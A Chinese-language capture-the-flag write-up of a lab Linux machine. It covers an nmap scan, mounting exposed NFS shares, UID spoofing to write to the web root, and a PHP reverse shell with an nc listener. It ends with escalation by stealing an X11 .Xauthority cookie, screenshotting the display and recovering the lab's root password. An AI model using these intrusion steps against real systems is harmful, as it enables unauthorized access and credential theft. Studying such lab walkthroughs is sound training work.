渗透过程
靶机IP:10.129.216.46
信息收集
端口扫描
nmap -Pn -sC -sV -p- 10.129.216.46 --min-rate=5000
┌──(root㉿kali)-[~/Desktop]
└─# nmap -Pn -sC -sV -p- 10.129.216.46 --min-rate=5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-28 14:12 CST
Warning: 10.129.216.46 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.216.46
Host is up (0.15s latency).
Not shown: 65527 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Built Better
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100021 1,3,4 43256/udp nlockmgr
| 100021 1,3,4 45477/tcp6 nlockmgr
| 100021 1,3,4 46391/tcp nlockmgr
| 100021 1,3,4 53539/udp6 nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs 3-4 (RPC #100003)
46391/tcp open nlockmgr 1-4 (RPC #100021)
56817/tcp open mountd 1-3 (RPC #100005)
57377/tcp open mountd 1-3 (RPC #100005)
60185/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.41 seconds
可以看到开放了NFS服务
获得shell
什么是NFS?
NFS就是Network File System的缩写,它最大的功能就是可以通过网络,让不同的机器、不同的操作系统可以共享彼此的文件。
NFS服务器可以让PC将网络中的NFS服务器共享的目录挂载到本地端的文件系统中,而在本地端的系统中来看,那个远程主机的目录就好像是自己的一个磁盘分区一样,在使用上相当便利;
推测有信息泄露。网上查询NFS服务利用命令
showmount -e 10.129.216.46 #查看能共享的目录
mkdir dict_share #本地创建用来共享的目录
mount -t nfs 10.129.216.46:/ dict_shre -o nolock #将共享的目录挂载到dict_share目录
df -h #查看是否挂在成功
可以看到,靶机共享了 /home/ross 文件夹和 /var/www/html 文件夹,一个是用户文件夹,一个是网站根目录。进入共享文件夹,使用tree命令查看文件结构。发现有个叫password的文件
这里也有疑问。/var/www/html 作为网站根目录,为什么没有文件呢?
先把 Password.kdbx,复制出来。
cd home/ross/Documents
cp Passwords.kdbx /root/Desktop/password.kdbx
网上查询kdbx这玩意咋打开。使用 keepass2
apt-get install keepass2 #安装keepass2
keepass2 password.kdbx #打开
需要密码。卡住了。
回到网站目录下没有文件的疑问。
尝试进入
会提示权限不够。老子root权限复制过来的居然不够?查!
ls -ald var/www/html # -d 参数只列出目录(不递归列出目录内的文件)
ls -al var/www/html
shell.php.swp文件是我刚刚上传shell.php的备份文件。原环境是没有的。
接下来怎么操作呢?
网上搜索 NFS 共享漏洞,会提到一句。
NFS协议所使用的唯一的身份验证因素就是客户端设备传递过来的UID或GID(Group ID)。这也就意味着,如果我们能够伪造客户端设备的访问ID,我们就能够绕过NFS服务器的身份验证了。
在ls命令的输出中,uid为2017。我们本地新建一个uid为2017的用户,就能访问共享文件夹了。
useradd test -u 2017
cd var/www/html
报错了。我在这里卡了很久,不知道是什么原因。明明uid 是2017了。
问问AI。
也就是说创建用户的命令不全,test用户没有home目录,它更像一个临时用户。
重新给出命令。
useradd test -u 2017 -m -s /bin/bash -G www-data
这个命令会创建一个新用户test
,分配UID为2017,创建家目录/home/test
,设置默认shell为/bin/bash
,并将用户添加到www-data
组中。
ok 进来了。既然是网站根目录,可以直接写反弹shell并访问。
本机开启监听
nc -lvnp 1234
kali下自带php的反弹shell文件
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
vim shell.php
修改反弹ip为本机ip
访问 http://10.129.216.46/shell.php
拿到shell
得到user.txt的flag
提权
怎么提权呢?一个密码都没有,没法执行sudo -l
继续信息收集,发现还有一个名为ross的用户。在最开始的目录挂载中,看到其document文件夹下有个passwords.kdbx文件。回想拿到shell的过程,我们伪造了uid为2017的用户test,查看了网站根目录的文件;那伪造uid跟ross一样的用户,是不是能看到更多文件呢?
查看ross用户id,为1001
再次创建用户
useradd ssor -u 1001 -m -s /bin/bash -G www-data
显然,并没有成功。
到这实在没辙了。只能去看官方的WP
官方提示有个叫X11的东西,我一开始没找到在哪。
结果执行ls -al
即可发现
authority是认证,session是回话,这俩肯定是敏感文件了。抓紧打开看看
┌──(ssor㉿kali)-[/root/Desktop/dict_share/home/ross]
└─$ cat .Xauthority
squashed.htb0MIT-MAGIC-COOKIE-1
�$$���ۊV��nf
┌──(ssor㉿kali)-[/root/Desktop/dict_share/home/ross]
└─$ cat .xsession-errors
dbus-update-activation-environment: setting DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1001/bus
dbus-update-activation-environment: setting DISPLAY=:0
dbus-update-activation-environment: setting XAUTHORITY=/home/ross/.Xauthority
dbus-update-activation-environment: setting QT_ACCESSIBILITY=1
dbus-update-activation-environment: setting SHELL=/bin/sh
dbus-update-activation-environment: setting QT_ACCESSIBILITY=1
dbus-update-activation-environment: setting XDG_CONFIG_DIRS=/etc/xdg/xdg-gnome:/etc/xdg
dbus-update-activation-environment: setting XDG_SESSION_PATH=/org/freedesktop/DisplayManager/Session0
dbus-update-activation-environment: setting LANGUAGE=en
dbus-update-activation-environment: setting DESKTOP_SESSION=gnome
dbus-update-activation-environment: setting PWD=/home/ross
dbus-update-activation-environment: setting XDG_SESSION_DESKTOP=gnome
dbus-update-activation-environment: setting LOGNAME=ross
dbus-update-activation-environment: setting XDG_SESSION_TYPE=x11
dbus-update-activation-environment: setting GPG_AGENT_INFO=/run/user/1001/gnupg/S.gpg-agent:0:1
dbus-update-activation-environment: setting XAUTHORITY=/home/ross/.Xauthority
dbus-update-activation-environment: setting XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/ross
dbus-update-activation-environment: setting GDM_LANG=en
dbus-update-activation-environment: setting HOME=/home/ross
dbus-update-activation-environment: setting IM_CONFIG_PHASE=1
dbus-update-activation-environment: setting LANG=en_US.UTF-8
dbus-update-activation-environment: setting XDG_CURRENT_DESKTOP=GNOME
dbus-update-activation-environment: setting XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0
dbus-update-activation-environment: setting XDG_SESSION_CLASS=user
dbus-update-activation-environment: setting USER=ross
dbus-update-activation-environment: setting DISPLAY=:0
dbus-update-activation-environment: setting SHLVL=1
dbus-update-activation-environment: setting XDG_RUNTIME_DIR=/run/user/1001
dbus-update-activation-environment: setting XDG_DATA_DIRS=/usr/share/gnome:/usr/local/share:/usr/share:/var/lib/snapd/desktop
dbus-update-activation-environment: setting PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
dbus-update-activation-environment: setting GDMSESSION=gnome
dbus-update-activation-environment: setting DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1001/bus
dbus-update-activation-environment: setting _=/usr/bin/dbus-update-activation-environment
直接查看还是啥重要信息也没有。
WP给的信息
X is a portable, network-transparent window system for managing a windowed GUI.
X 是一个可移植的、网络透明的窗口系统,用于管理窗口化 GUI。
既然是个系统,就会有登录用户和密码。继续看
The .Xauthority file is used to store credentials in the form of cookies used by xauth when authenticating X sessions. When a session is started, the cookie is then used to authenticate the subsequent connections to that specific display. With that in mind, since we can read the file using our newly created user ssor , we can steal the cookie and therefore act as the authenticated ross user and interact with the display.
.Xauthority文件用来存储X回话认证的鉴别信息。启动会话后,将使用 cookie 对与该特定显示器的后续连接进行身份验证。考虑到这一点,由于我们可以使用新创建的用户 ssor 读取文件,我们可以窃取 cookie,从而充当经过身份验证的 ross 用户并与显示器进行交互。
那好,将文件导出,并进行cookie替换。因为有不可打印的字符,所以用base64进行编码
┌──(ssor㉿kali)-[/root/Desktop/dict_share/home/ross]
└─$ cat .Xauthority | base64
AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABC5smmv6tddi3YfId9yKIqQ
再回到反弹的shell中,将导出的cookie放入新建的/tmp/.Xauthority中
script /dev/null -c bash #美化shell界面
echo "AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABC5smmv6tddi3YfId9yKIqQ" | base64 -d > /tmp/.Xauthority
更新X的配置文件
export XAUTHORITY=/tmp/.Xauthority
导入后,执行w
命令,用于显示目前登入系统的用户信息,显示ross用户已登录。
使用linux下的截图命令
xwd -root -screen -silent -display :0 > /tmp/screen.xwd
使用wget命令下载。下载完后,将截屏文件转成png
convert screen.xwd screen.png
找到root账户的密码cah$mei7rai9A
切换账户,得到flag